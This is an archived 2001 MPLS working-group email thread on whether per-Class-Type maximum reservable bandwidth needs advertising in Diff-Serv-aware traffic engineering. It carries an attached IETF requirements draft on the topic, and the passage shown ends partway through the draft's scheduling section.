Content-Type: multipart/mixed; boundary="------------EDAA43914B436A9B1944DDB4"
X-Orig: <dareks@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------EDAA43914B436A9B1944DDB4
Content-Type: multipart/alternative;
 boundary="------------0257699EA8561CFA43467096"


--------------0257699EA8561CFA43467096
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

Sudhakar Ganti wrote:

> Hi Darek,Thanks for your reply. If the Maximum Reservable Bandwidth
> for Class Type-Nis implicitly inferred, then I think the text in both
> these drafts should not refer to thisas it is implementation /
> configuration specific.

Look at "Section 2. Requirements for ISIS/OSPF Extensions" of
draft-ietf-mpls-diff-te-reqts-00.txt which is in the MPLS WG.


> Second thing is that, it may be necessary to advertise this value. It
> givesan option for Traffic Engineering not to take paths that are
> overbooked for a given class if necessary. We may not be able to infer
> this from Unreserved bandwidth. If not, is there any other way to know
> about it?

Not with the current proposals.

Darek

> Thanks-Sudhakar
>
>      -----Original Message-----
>      From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf
>      Of Darek Skalecki
>      Sent: Wednesday, May 16, 2001 8:53 AM
>      To: Sudhakar Ganti
>      Cc: mpls
>      Subject: Re: Question on BW advertisements for Diffserv
>      aware TE based on Class Type
>      Hi Sudhakar,
>
>      See inlined answers.
>
>      Thanks,
>
>      Darek
>
>
>      Sudhakar Ganti wrote:
>
>     > Hello,
>     >
>     > A couple of questions regarding the BW advertisements
>     > on these drafts:
>     >     draft-ietf-mpls-diff-te-ext-01.txt
>     >     draft-ietf-ospf-diff-te-00.txt
>     >
>     > a) The text in both the drafts refers to "the Class-Type N
>     >
>     >    bandwidth currently unreserved (i.e. the difference
>     >    between the Maximum Reservable Bandwidth for Class-Type
>     > N
>     >    and the bandwidth reserved by existing Class-Type N
>     > LSPs)"
>     >
>     > However I do not see any separate sub-TLV for Max
>     > reservable
>     > bandwidth for each class type (class type N). There is
>     > only one
>     > that advertises the Max Reservable Aggregate Bandwidth.
>
>      The Maximum Reservable Bandwidth for Class-Type N is
>      reflected in the Unreserved Bandwidth for Class-Type N. That
>      is, there is no need to advertize through IGP the Maximum
>      Reservable Bandwidth for Class-Type N as it is implicitely
>      advertized  in the Unreserved Bandwidth for Class-Type N.
>      The intention is that the Maximum Reservable Bandwidth for
>      Class-Type N is configured on links that support Class-Type
>      N. However, when it is time to advertize bandwidth
>      availability for that link, only the Unreserved Bandwidth
>      for Class-Type N is computed, as you stated by quoting the
>      draft, and then advertized through IGP. Route selection
>      through the network is then performed using only the
>      Unreserved Bandwidths for Class-Types.
>
>      The Maximum Reservable Aggregate Bandwidth (which can be
>      thought of as the Maximum Reservable Bandwidth for
>      Class-Type 0) is advertized for historical reasons, i.e.
>      original IGP extensions for TE included it and we didn't
>      want to simply remove it as our extensions are built on the
>      original extensions.
>
>     >
>     >
>     > b) Different classes can be oversubscribed differently
>     >    depending upon the link (or network) configuration.
>     >    If so, I think it may be necessary to advertise the
>     >    Maximum Reservable bandwidth for each Class (Class-Type
>     > N).
>     >
>     >    Is there any reason why this is omitted??
>
>      See my answer to a). Since Maximum Reservable Bandwidth for
>      Class-Type N is implicitely "included" in the Unreserved
>      Bandwidth for Class-Type N and it is the Unreserved
>      Bandwidth for Class-Type N that is advertized through IGPs
>      and used for route computation, there is no need to
>      separately advertize Maximum Reservable Bandwidth for
>      Class-Type N. To oversubscribe a link, the sum of Maximum
>      Reservable Bandwidths for all Class-Types supported by the
>      link needs to be greater than the capacity of the link. As I
>      already mentioned, each Maximum Reservable Bandwidth for
>      Class-Type N is configured on the link and used in the
>      computation of the Unreserved Bandwidth for Class-Type N for
>      advertizing purposes.
>
>     >
>     >
>     > -Sudhakar
>
>      --
>      Darek Skalecki
>      Nortel
>      (613) 765-2252
>
>
>
--
Darek Skalecki
Nortel
(613) 765-2252



--------------0257699EA8561CFA43467096
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Sudhakar Ganti wrote:
<blockquote TYPE=CITE><span class=170565113-16052001><font face="Arial"><font color="#0000FF"><font size=-1>Hi
Darek,</span><span 
class=170565113-16052001></span><span class=170565113-16052001>Thanks
for your reply. If the Maximum Reservable Bandwidth for Class Type-N</span><span class=170565113-16052001>is
implicitly inferred, then I think the text in both these drafts should
not refer to this</span><span 
class=170565113-16052001></span><span class=170565113-16052001>as
it is implementation / configuration specific.</font></font></font></span><span 
class=170565113-16052001></blockquote>
Look at "Section 2. Requirements for ISIS/OSPF Extensions" of draft-ietf-mpls-diff-te-reqts-00.txt
which is in the MPLS&nbsp;WG.
<br>&nbsp;
<blockquote TYPE=CITE></span><span class=170565113-16052001><font face="Arial"><font color="#0000FF"><font size=-1>Second
thing is that, it may be necessary to advertise this value. It gives</span><span class=170565113-16052001>an
option for Traffic Engineering not to take paths that are overbooked&nbsp;</span><span 
class=170565113-16052001>for
a&nbsp;</span><span class=170565113-16052001>given class if necessary.
We may not be able to infer this from Unreserved&nbsp;</span><span 
class=170565113-16052001>bandwidth.
If not, is there any other way to know about it?</font></font></font></blockquote>
Not with the current proposals.
<p>Darek
<blockquote TYPE=CITE><font face="Arial"><font color="#0000FF"><font size=-1>Thanks</span><span 
class=170565113-16052001></span><span 
class=170565113-16052001>-Sudhakar</font></font></font></span>
<blockquote 
style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
<div class="OutlookMessageHeader" dir="ltr"><font face="Tahoma"><font size=-1>-----Original
Message-----</font></font>
<br><font face="Tahoma"><font size=-1><b>From:</b> owner-mpls@UU.NET [<A HREF="mailto:owner-mpls@UU.NET">mailto:owner-mpls@UU.NET</A>]<b>On
Behalf Of </b>Darek Skalecki</font></font>
<br><font face="Tahoma"><font size=-1><b>Sent:</b> Wednesday, May 16, 2001
8:53 AM</font></font>
<br><font face="Tahoma"><font size=-1><b>To:</b> Sudhakar Ganti</font></font>
<br><font face="Tahoma"><font size=-1><b>Cc:</b> mpls</font></font>
<br><font face="Tahoma"><font size=-1><b>Subject:</b> Re: Question on BW
advertisements for Diffserv aware TE based on Class Type</font></font></div>
Hi Sudhakar,
<p>See inlined answers.
<p>Thanks,
<p>Darek
<br>&nbsp;
<p>Sudhakar Ganti wrote:
<blockquote TYPE="CITE">Hello,
<p>A couple of questions regarding the BW advertisements
<br>on these drafts:
<br>&nbsp;&nbsp;&nbsp; draft-ietf-mpls-diff-te-ext-01.txt
<br>&nbsp;&nbsp;&nbsp; draft-ietf-ospf-diff-te-00.txt
<p>a) The text in both the drafts refers to "the Class-Type N
<br>&nbsp;&nbsp; bandwidth currently unreserved (i.e. the difference
<br>&nbsp;&nbsp; between the Maximum Reservable Bandwidth for Class-Type
N
<br>&nbsp;&nbsp; and the bandwidth reserved by existing Class-Type N LSPs)"
<p>However I do not see any separate sub-TLV for Max reservable
<br>bandwidth for each class type (class type N). There is only one
<br>that advertises the Max Reservable Aggregate Bandwidth.</blockquote>
The Maximum Reservable Bandwidth for Class-Type N is reflected in the Unreserved
Bandwidth for Class-Type N. That is, there is no need to advertize through
IGP the Maximum Reservable Bandwidth for Class-Type N as it is implicitely
advertized&nbsp; in the Unreserved Bandwidth for Class-Type N. The intention
is that the Maximum Reservable Bandwidth for Class-Type N is configured
on links that support Class-Type N. However, when it is time to advertize
bandwidth availability for that link, only the Unreserved Bandwidth for
Class-Type N is computed, as you stated by quoting the draft, and then
advertized through IGP. Route selection through the network is then performed
using only the Unreserved Bandwidths for Class-Types.
<p>The Maximum Reservable Aggregate Bandwidth (which can be thought of
as the Maximum Reservable Bandwidth for Class-Type 0) is advertized for
historical reasons, i.e. original IGP extensions for TE included it and
we didn't want to simply remove it as our extensions are built on the original
extensions.
<blockquote TYPE="CITE">&nbsp;
<p>b) Different classes can be oversubscribed differently
<br>&nbsp;&nbsp; depending upon the link (or network) configuration.
<br>&nbsp;&nbsp; If so, I think it may be necessary to advertise the
<br>&nbsp;&nbsp; Maximum Reservable bandwidth for each Class (Class-Type
N).
<p>&nbsp;&nbsp; Is there any reason why this is omitted??</blockquote>
See my answer to a). Since Maximum Reservable Bandwidth for Class-Type
N is implicitely "included" in the Unreserved Bandwidth for Class-Type
N and it is the Unreserved Bandwidth for Class-Type N that is advertized
through IGPs and used for route computation, there is no need to separately
advertize Maximum Reservable Bandwidth for Class-Type N. To oversubscribe
a link, the sum of Maximum Reservable Bandwidths for all Class-Types supported
by the link needs to be greater than the capacity of the link. As I already
mentioned, each Maximum Reservable Bandwidth for Class-Type N is configured
on the link and used in the computation of the Unreserved Bandwidth for
Class-Type N for advertizing purposes.
<blockquote TYPE="CITE">&nbsp;
<p>-Sudhakar</blockquote>

<pre>--&nbsp;
Darek Skalecki
Nortel&nbsp;
(613) 765-2252</pre>
&nbsp;</blockquote>
</blockquote>

<pre>--&nbsp;
Darek Skalecki
Nortel&nbsp;
(613) 765-2252</pre>
&nbsp;</html>

--------------0257699EA8561CFA43467096--

--------------EDAA43914B436A9B1944DDB4
Content-Type: text/plain; charset=UTF-8;
 name="draft-ietf-mpls-diff-te-reqts-00.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="draft-ietf-mpls-diff-te-reqts-00.txt"
Content-Transfer-Encoding: 7bit


                                                    Francois Le Faucheur
                                                        Thomas D. Nadeau
                                                     Cisco Systems, Inc.

                                                             Angela Chiu
                                                                    AT&T

                                                        William Townsend
                                                          Tenor Networks

                                                          Darek Skalecki
                                                         Nortel Networks


                                                           Martin Tatham
                                                                      BT



IETF Internet Draft
Expires: May, 2001
Document: draft-ietf-mpls-diff-te-reqts-00.txt         November, 2000


                      Requirements for support of
                Diff-Serv-aware MPLS Traffic Engineering


Status of this Memo

   This document is an Internet-Draft and is in full conformance with
   all provisions of Section 10 of RFC2026. Internet-Drafts are
   Working documents of the Internet Engineering Task Force (IETF), its
   areas, and its working groups.  Note that other groups may also
   distribute working documents as Internet-Drafts.

   Internet-Drafts are draft documents valid for a maximum of six
   months and may be updated, replaced, or obsoleted by other documents
   at any time. It is inappropriate to use Internet-Drafts as reference
   material or to cite them other than as "work in progress."

   The list of current Internet-Drafts can be accessed at
   http://www.ietf.org/ietf/1id-abstracts.txt.
   The list of Internet-Draft Shadow Directories can be accessed at
   http://www.ietf.org/shadow.html.


Abstract

   This document defines the requirements for support of Diff-Serv-
   aware MPLS Traffic Engineering on a per-Class-Type basis, as
   discussed in the Traffic Engineering Working Group Framework
   document [TEWG-FW].

Le Faucheur, et. al                                                  1


            Requirements for Diff-Serv Traffic Engineering   July 2000


   Companion documents [DIFF-TE-EXT] [DIFF-TE-OSPF] [DIFF-TE-ISIS]
   respectively propose actual extensions to RSVP and CR-LDP, to OSPF
   and to ISIS, in order to meet those requirements.


1.      Introduction

   As Diff-Serv becomes prominent in providing scalable multi-class of
   services in IP networks, performing traffic engineering at a per-
   class level instead of an aggregated level is needed to further
   enhance networks in performance and efficiency. By mapping a traffic
   trunk in a given class on a separate LSP, it allows the traffic
   trunk to utilize resources available on both shortest path(s) and
   non-shortest paths and follow paths that meet constraints which are
   specific to the given class. It also allows each class to select the
   proper protection/restoration mechanism(s) that satisfy its
   survivability requirements in a cost effective manner.

   Besides the set of parameters defined for the general aggregate TE
   [TE-REQ], a new set of per-class parameters needs to be provided at
   each LSR interface and propagated via extensions to the IGP
   (ISIS/OSPF)  [TEWG-FW]. Furthermore, the per-class parameters can be
   aggregated into per-Class-Type parameters. The main motivation for
   grouping a set of classes into a Class-Type is to improve the
   scalability of the IGP link state advertisements by propagating
   information on a per-Class-Type basis instead of on a per-class
   basis. This approach also has the benefit of allowing better
   bandwidth sharing between classes in the same Class-Type.

   A Class-Type [TEWG-FW] is defined as a set of classes that satisfy
   the following two conditions:

     1) Classes in the same Class-Type possess common aggregate maximum
       and minimum bandwidth requirements to guarantee the required
       performance level.

     2) There is no maximum or minimum bandwidth requirement to be
       enforced at the level of an individual class within the Class-
       Type. One can still implement some "priority" policies for
       classes within the same Class-Type in terms of accessing the
       Class-Type bandwidth (e.g. via the use of preemption
       priorities).

   An example of Class-Type comprising multiple Diff-Serv classes is a
   low-loss Class-Type that includes both AF1-based and AF2-based
   Ordering Aggregates.

   Note that with per Class-Type TE, Constraint-Based Routing is
   performed with bandwidth constraints on a per Class-Type basis but
   LSPs may carry a single Diff-Serv class (Ordered Aggregate) with
   Diff-Serv scheduling (i.e. PHB) performed separately for each class.

 Le Faucheur et. al                                                  2


            Requirements for Diff-Serv Traffic Engineering   July 2000


   In this document, we will only discuss "per Class-Type TE" because
   "per Class TE" can be viewed as a special case of per Class-Type TE
   (where each Class-Type is degenerated into a single Diff-Serv
   class).

   This document focuses on intra-domain operations. Inter-domain
   operations is for further study.

   The following sections detail the requirements on OSPF/ISIS, RSVP/
   CR-LDP, Constraint Based Routing, MPLS MIBs, Diff-Serv Scheduling
   and Traffic Mapping for support of MPLS Traffic Engineering on a
   per-Class-Type basis.


2.      Requirements for ISIS/OSPF Extensions

   [OSPF-TE] and [ISIS-TE] define extensions to OSPF and ISIS for
   support of (aggregate) MPLS Traffic Engineering. In this section we
   define the requirements on OSPF and ISIS for support of Diff-Serv
   Traffic Engineering on a per-Class-Type basis. These requirements
   are expected to require further extensions to OSPF and ISIS. Such
   extensions are proposed in [DIFF-TE-OSPF] and [DIFFF-TE-ISIS].

   Given that there are hard limits imposed by ISIS/OSPF TLVs, the TLV
   space must be used frugally. An additional concern is that the
   amount of information advertised by the IGP directly affects the
   scalability of the solution. These considerations strongly influence
   the requirements defined in this section.

   As pointed out in [TEWG-FW], the IGP needs to advertise separate "TE
   information" for each Class-Type. We focus now on detailing what
   this "TE information" should be.

   For Constraint Based Routing to be able to compute paths which
   satisfy different bandwidth constraints for each Class-Type, the IGP
   needs to advertise different "Unreserved Bandwidth" information for
   each Class-Type.

   Moreover, we propose that the preemption attribute defined in [TE-
   REQ] be retained for all Class-Types. We also propose that the
   preemption attributes of setup priority and holding priority retain
   existing semantics, and in particular the preemption should work
   across class-types (i.e. independently of class-types), rather than
   having preemption levels operating only within each class-type.
   Thus, the IGP needs to advertise "Unreserved Bandwidth" at each
   preemption level for each Class-Type. However, we observe that
   within a Class-Type, the "Unreserved Bandwidth" value is often
   identical for multiple preemption levels. Firstly, many practical
   MPLS Traffic Engineering deployments will use less than the maximum
   8 possible levels of preemption. In such cases, the Unreserved
   Bandwidth corresponding to a preemption level which is not used will

 Le Faucheur et. al                                                  3


            Requirements for Diff-Serv Traffic Engineering   July 2000

   always be equal to the Unreserved Bandwidth for the preemption level
   immediately above (numerically lower). For example, if only
   preemption levels 0,1 and 4 are used in a network, then the
   "Unreserved Bandwidth" for preemption levels 2 and 3 are identical
   to the "Unreserved Bandwidth" for preemption 1, and the "Unreserved
   Bandwidth" for preemption levels 5, 6 and 7 are identical to the
   "Unreserved Bandwidth" for preemption 4. Secondly, even when all 8
   preemption levels are used in the network, whenever there is no TE
   Tunnels actually setup for a given preemption level (for that Class-
   Type) on a given link, the Unreserved Bandwidth corresponding to
   that preemption level will again be equal to the Unreserved
   Bandwidth for the preemption level immediately above (numerically
   lower).

   Thus we propose that the IGP extension encoding includes a
   compression scheme which can efficiently reduce the length of the
   "Unreserved Bandwidth" advertisement (for each Class-Type) whenever
   there are duplicate values across multiple preemption levels.

   For the bandwidth constraints to be effectively different for each
   Class-Type, LSRs need to allow configuration for every link of a
   "Maximum Reservable Bandwidth" for each Class-Type. Clearly, the
   "Unreserved Bandwidth" advertised for each Class-Type takes into
   account the "Maximum Reservable Bandwidth" configured for the
   corresponding Class-Type. Consequently, Constraint Based Routing can
   compute paths for the different Class-Types without receiving the
   "Maximum Reservable Bandwidth" for each Class-Type from the IGP.
   Thus we feel that the IGP need not advertise the Maximum Reservable
   Bandwidth for each Class-Type. We note that the Maximum Reservable
   Bandwidth for each Class-Type could have been used by Constraint
   Based Routing to enhance route computation in some situations (e.g.
   as a tie breaker), but we feel this does not justify the extra
   overhead in IGP advertisement.

   Current IGP extensions for (aggregate) TE [OSPF-TE][ISIS-TE] specify
   advertisement of the Maximum Reservable Bandwidth for (aggregate)
   TE. Note that this document does not propose that this be changed.

   Other TE attributes already advertised by the IGP (i.e.
   administrative group/color, IPv4 interface and neighbor addresses,
   Maximum Link Bandwidth, TE Metric) need not be advertised per Class-
   Type as those will be applicable to all Class-Types. We note that a
   separate TE Metric per Class-Type could be defined in the future if
   required, for instance to allow Constraint Based Routing to take
   account of link propagation delay for LSPs from a Class-Type with
   strict delay requirements.

   We propose to begin by allowing a total of 4 Class-Types (i.e., 3
   beyond the existing one aka. Class-Type 0). This is expected to be
   sufficient for practical deployments in the foreseeable future. As
   an example, a total of three Class-Types already allow support of
   separate bandwidth control for Real-Time, Low-Loss and Best Effort,

 Le Faucheur et. al                                                  4


            Requirements for Diff-Serv Traffic Engineering   July 2000

   while allowing multiple classes within each Class-Type (e.g. AF1 and
   AF2 flavors of "Low-Loss"). More Class-Types could be defined in the
   future if required.

   Where a Class-Type is not effectively used in a network, it is
   recommended that the corresponding sub-TLV is not included in the IS
   reachability TLV. Therefore, the Class-Types for which "Unreserved
   Bandwidth" is to be advertised in the IGP should be configurable and
   the IGP must allow advertisement of "Unreserved Bandwidth" for any
   subset of the Class-Types.

   Implementations of Diff-Serv Traffic Engineering in compliance with
   this specification MUST support at least a total of 2 Class-Types
   and MAY support a total of 3 or 4 Class-Types.

2.1.    Bandwidth Reservation Scheme

   This section discusses the algorithm for computing the "Unreserved
   Bandwidth" for each Class-Type as a function of:
        - the configurable parameters controlling how link bandwidth
   can be reserved by each Class-Type (in particular in situations
   where Class-Types compete for bandwidth reservation) such as "Max
   Reservable Bandwidth for the Class Type",  
        - the already established LSPs of all Class-Types.
   This "Unreserved Bandwidth" for each Class-Type is computed for
   advertisement in the IGP (and therefore used as the per Class-Type
   bandwidth constraint for Constraint Based Routing). The same
   algorithm for computation of "Unreserved Bandwidth" must also be
   used for admission control of Diff-Serv-aware Traffic Engineering
   LSPs at establishment time through RSVP or CR-LDP signalling;
   otherwise persistent deadlock situations could occur whereby
   Constraint Based Routing believes that a given LSP for a given
   Class-Type can be routed through a link but local admission control
   rejects it.

   It is desirable to be able to avoid under-utilizing aggregate
   resource. To achieve this, it is necessary to allow the sum of the
   configurable Maximum Reservable Bandwidth of all Class-Types to be
   larger than a configurable Maximum Reservable Aggregate Bandwidth
   (i.e. aggregate across all Class-Types). At the same time, it is
   desirable to be able to avoid over-utilizing the aggregate resource.
   To achieve this, it is necessary to be able to enforce this Maximum
   Reservable Aggregate Bandwidth; in other words it is necessary to
   ensure that the sum of all LSPs across all Class-Types never exceeds
   the Maximum Reservable Aggregate Bandwidth.

   For example, a 10Gb/s link may be configured to allow:

     - Class-Type 0 (eg: BE) to reserve up to 9 Gb/s
     - Class-Type 1 (eg: real time including EF) to reserve up to 5
       Gb/s


 Le Faucheur et. al                                                  5


            Requirements for Diff-Serv Traffic Engineering   July 2000

     - Class-Type 2 (eg: low loss including AF1 and AF2) to reserve up
       to 8 Gb/s

   and at the same may be configured to allow:

     - on an aggregate basis, the sum of all Class-Types to reserve up
       to 10 Gb/s.

   Therefore, a path computed by the Constraint Based Routing for an
   LSP of Class-Type N must ensure that this LSP fits within the
   remaining Class-Type N bandwidth AND that this LSP fits within the
   remaining Aggregate bandwidth.

   One way to achieve this, would be:
     - for each Class-Type, that IGP uses the "Unreserved Bandwidth for
       Class-Type N" to advertise the Class-Type N bandwidth currently
       unreserved (i.e. the difference between the Maximum Reservable
       Bandwidth for Class-Type N and the bandwidth reserved by
       existing Class-Type N LSPs),
     - in addition, that IGP separately advertises the "Unreserved
       Aggregate Bandwidth" (i.e. the difference between the Maximum
       Reservable Aggregate Bandwidth and the bandwidth reserved by
       existing LSPs of all Class-Types)
     - have Constraint Based Routing ensure that a new Class-Type N LSP
       fits both in the received "Unreserved Bandwidth for Class-Type
       N" and in the "Unreserved Aggregate Bandwidth".
   Such an approach has the drawbacks that it would require that N+1
   "unreserved bandwidth" information be advertised by the IGP when N
   Class-Types are supported, and that it requires the node performing
   Constraint Based Routing to meet a double bandwidth constraints.

   Instead we propose that:
     - for each Class-Type, that IGP uses the "Unreserved Bandwidth for
       Class-Type N" to directly advertise the amount of bandwidth that
       is effectively useable by Class-Type N. This is computed as the
       smaller of these two values:
           o The Class-Type N bandwidth currently unreserved (i.e. the
             difference between the Maximum Reservable Bandwidth for
             Class-Type N and the bandwidth reserved by existing Class-
             Type N LSPs).
           o The aggregate bandwidth currently unreserved (i.e. the
             difference between the Maximum Reservable Aggregate
             Bandwidth and the bandwidth reserved by existing LSPs of
             all Class-Types).
     - have Constraint Based Routing ensure that a new Class-Type N LSP
       simply fits in the received "Unreserved Bandwidth for Class-Type
       N".
   Such an approach only requires that N "unreserved bandwidth"
   information be advertised by the IGP when N Class-Types are
   supported, and only requires that the node performing Constraint
   Based Routing meets a single bandwidth constraint.


 Le Faucheur et. al                                                  6


            Requirements for Diff-Serv Traffic Engineering   July 2000

   It may be desirable to prevent a Class-Type from being starved by
   others. In the example given above where we defined three Class-
   Types, it may be useful to be able to always ensure that some amount
   of Class-Type 0 LSPs can be routed over that link (i.e. to prevent
   Class-Type 1 LSPs and Class-Type 2 LSPs from reserving up to 100% of
   the maximum reservable aggregate bandwidth which would result in
   Class-Type 0 LSPs not having any access to the capacity of that
   link). Such capability might require the ability from the IGP to
   advertise an optional "minimum reservable bandwidth" per Class-Type.
   This is not seen as an immediate requirement but could be defined in
   the future if required.



   [Editor's Note: We are considering a potential enhancement to the
   Bandwidth Reservation scheme presented above and therefore to the
   calculation of advertised `unreserved bandwidth' per Class-Type.

   This potential enhancement would take into account a Minimum
   Reservable Bandwidth in addition to the Maximum Reservable Bandwidth
   and the Maximum Aggregate Reservable bandwidth and could take
   account of bandwidth `borrowing' between classes. Thus traffic
   trunks of one Class-Type (say CT-2) might initially reserve all the
   bandwidth of the link, and implicitly that Class-Type would have
   borrowed unreserved capacity from other Class-Types (say CT-1, CT-
   0). However, the LSR would continue to advertise `unreserved
   bandwidth' for CT-1 and CT-0 based on the maximum bandwidth
   entitlement of each Class-Type. A reservation may then be received
   within CT-1 or CT-0, which would preempt an existing reservation in
   CT-2. This form of preemption between Class-Types would only operate
   within existing preemption priority levels, and existing rules for
   preemption across priority levels would still be followed. The
   potential goals of this enhancement would be :
        - to allow enforcement of a Minimum Reservable Bandwidth per
   Class-Type in addition to the Maximum Reservable Bandwidth while
   still advertising a single "Unreserved Bandwidth" per Class-Type
   (for each preemption levels),
        - to match the bandwidth "sharing" properties (across Class-
   Types) of common work-conserving Diff-Serv schedulers (e.g. Weighted
   Fair Queuing). This could ensure that, even in the case of
   statically configured Diff-Serv packet scheduler, there is always
   consistency between :
             * the bandwidth reserved by each Class-Type for Constraint
        Based Routing purposes, and
             * the bandwidth actually granted to the corresponding
        Class-Type by the Diff-Serv Packet Scheduler
   As discussed in section 6 below, the Bandwidth Allocation Scheme
   currently proposed requires dynamic adjustement of the Diff-Serv
   packet scheduler.]


3.      Requirements for RSVP/CR-LDP Extensions

 Le Faucheur et. al                                                  7


            Requirements for Diff-Serv Traffic Engineering   July 2000


   [RSVP-TE] and [CR-LDP] define extensions to RSVP and LDP for support
   of (aggregate) MPLS Traffic Engineering. [DIFF-MPLS] defines the
   extensions to RSVP and LDP for support of Diff-Serv over MPLS. In
   this section we define the requirements on RSVP and CR-LDP for
   support of Diff-Serv Traffic Engineering on a per-Class-Type basis.
   These requirements are expected to require further extensions to
   RSVP and CR-LDP. Such extensions are proposed in [DIFF-TE-EXT].

   In order for an LSR to perform resource availability checking for an
   LSP that belongs to a certain Class-Type, the LSR needs to be made
   aware through RSVP/CR-LDP signaling of the Class-Type associated
   with the LSP.

   To that end, we propose that RSVP/CR-LDP be extended to be able to
   signal the Class-Type.

   We identify the following backward compatibility requirements for
   the RSVP/CR-LDP extensions:
     - operations in heterogeneous environments need to be supported
       for smooth migration, where some LSRs are Diff-Serv-TE-capable
       (as defined in this specification) while some other LSRs are not
       Diff-Serv-TE-capable (i.e. support (aggregate) TE only)
     - in such heterogeneous environments, the solution needs to allow
       establishment of Class-Type 0 LSPs across paths combining Diff-
       Serv-TE-capable LSRs and non-Diff-Serv-TE-capable LSRs
     - in heterogeneous environments, the solution needs to ensure that
       a non-Diff-Serv-TE-capable LSR would reject establishment of a
       Class-Type N (N=1,2,3) LSP.

   More generally we identify the following backward compatibility
   requirements for the RSVP/CR-LDP extensions:
     - operations in heterogeneous environments need to be supported
       for smooth migration, where some Diff-Serv-TE-capable LSRs (as
       defined in this specification) support N Class-Types while other
       Diff-Serv-TE-capable LSRs support M Class-Types with M>N.
     - in such heterogeneous environments, the solution needs to allow
       establishment of Class-Type 0,.., N-1 LSPs across paths
       combining both types of LSRs
     - in such heterogeneous environments, the solution needs to ensure
       that a Diff-Serv-TE-capable LSR supporting only N Class-Types
       would reject establishment of a Class-Type X LSP if N<=X<=M-1.

   The admission control algorithm implemented for LSP establishment
   must locally maintain different variables which keep track of the
   currently unreserved bandwidth for each Class-Type. These unreserved
   bandwidth variables must be updated in accordance with the Bandwidth
   Reservation Scheme discussed in the previous section.


4.      Requirements for Constraint Based Routing Extensions


 Le Faucheur et. al                                                  8


            Requirements for Diff-Serv Traffic Engineering   July 2000

   In order for Constraint Based Routing to support Diff-Serv TE on a
   per-Class-Type basis, the Constraint Based Routing algorithm need to
   be capable of taking into account the "Unreserved Bandwidth for
   Class-Type N" when computing a path for a Class-Type N LSP.

   The Constraint Based Routing may also take into account different
   metric for different Class-Types. As an example, when computing a
   path for a non-real-time Class-Type, the Constraint Based Routing
   may use a metric similar to the one currently used by IGP SPF
   Routing for Best Effort traffic, while when computing a path for a
   real-time Class-Type, the Constraint Based Routing may use a metric
   reflecting the link propagation delay.


5.      Requirements for MIB Extensions

   In order for an LSR to support the configuration and monitoring of
   Diff-Serv Traffic Engineering certain enhancements to some of the
   existing MPLS Management Information Bases (MIBs) will be required.
   [LSRMIB] defines the MPLS Label Switch Router MIB (LSR MIB) which
   contains objects useful for the management and configuration of MPLS
   LSPs. [TE MIB] defines the MPLS Traffic Engineering MIB (TE MIB)
   which contains objects useful for the management and configuration
   of MPLS Traffic Engineered Tunnels.

   In particular, the MIB extensions need to:
     - track for each MPLS interface, the Maximum Reservable Bandwidth
       configured for each Class-Type.
     - track for each MPLS interface, the Maximum Reservable Aggregate
       Bandwidth configured.
     - track for each LSP, the Class-Type associated with the LSP. On
       the Head-End LSRs, the Class-Type is configured as part of the
       tunnel configuration. On other LSRs, the Class-Type is
       associated with the LSP at establishment time based on signaled
       information.

   Additional details of these changes will be provided in forthcoming
   versions of this draft. It is the authors' intent to transfer these
   MIB requirements to future versions of the MPLS TE and the MPLS LSR
   MIBs. It is not the intent of this document to define the SMI
   required for the MIB enhancements; rather, it is to flesh out and
   define the details of these changes in the context of this document.


6.      Diff-Serv Scheduling Requirements

    Diff-Serv-aware Traffic Engineering is expected to be deployed in
   conjunction with Diff-Serv buffer management and differential packet
   scheduling. Per-class-type performance would be controlled on longer
   timescales by Diff-Serv-aware Traffic Engineering; this would be
   complemented by Diff-Serv buffer management and differential packet


 Le Faucheur et. al                                                  9


            Requirements for Diff-Serv Traffic Engineering   July 2000

   scheduling mechanisms controlling the per-class performance on
   packet scheduling timescales.

   If the Diff-Serv packet scheduling mechanisms are configured
   statically, it is possible, however, that the allocation of
   resources by Diff-Serv-aware Traffic Engineering for reservation
   purposes will not always correspond with the resources allocated in
   the packet scheduler. As an example, consider the following 10Mbps
   link:

                   Max. Res'ble     Admitted        Pkt Scheduler
                    Bandwidth        Load         Bandwidth share
   Class-Type 0      10 Mbps        1 Mbps             3 Mbps
   Class-type 1       3 Mbps        3 Mbps             3 Mbps
   Class-type 2      10 Mbps        6 Mbps             4 Mbps

   In the above example, the Maximum Reservable Bandwidth for Class-
   Type 2 (e.g. AF) has been set above the corresponding scheduler
   share of 4 Mbps to prevent under-utilisation of the link, in case
   there was little traffic in Class-Types 0 (e.g. BE) and 1 (e.g. EF).
   Under actual load, let's assume that 6 Mbps of Class-Type 2 traffic
   was admitted on the link, possibly due to Class-type 2 LSPs being
   given a high preemption priority. However, the packet scheduler had
   been configured to give the classes comprising Class-type 2 an
   overall share of 4Mbps, reflecting the expected load and taking
   account of the performance targets of Class-type 2 traffic. Even
   though, for most link schedulers, resources would be dynamically
   redirected from Class-Type 0 to Class-Type 2, this would leave
   Class-type 2 traffic at risk of seeing poor performance, under
   conditions of link congestion. Assume for instance that :
     - there is indeed 3 Mbps worth of actual traffic sent onto the
       admitted Class-Type 1 LSPs,
     - there is indeed 6 Mbps worth of actual traffic sent onto the
       admitted Class-Type 2 LSPs,
     - although only 1 Mbps worth of Class-Type 0 (eg. Best Effort
       traffic) has been admitted by Diff-Serv-aware TE, 3 Mbps of
       Class-Type 0 traffic is actually sent onto the Class-Type 0
       LSPs.
   In that case, the packet scheduler will :
     - serve the 3 Mbps of Class-Type 0 traffic
     - serve the 3 Mbps of Class-Type 1 traffic
     - will only be able to provide 4 Mbps of service rate for the 6
       Mbps of Class-Type 2 traffic.
   This example reflects the fact that the Bandwidth allocation Scheme
   described in section 2.1 above may not under all conditions align
   with the resource allocation approach taken by a statically
   configured local link packet scheduler.

   In general, therefore, the requirements on Diff-Serv packet
   scheduling are that:
     1) An LSR should be capable of dynamically adjusting resource
       allocation to Classes based on per-class LSP resource requests.

 Le Faucheur et. al                                                 10


            Requirements for Diff-Serv Traffic Engineering   July 2000

     2) The dynamic adjustment should take account of the performance
       requirements of the classes. This may be achieved using, for
       example, per-Class maximum allocation multipliers or overbooking
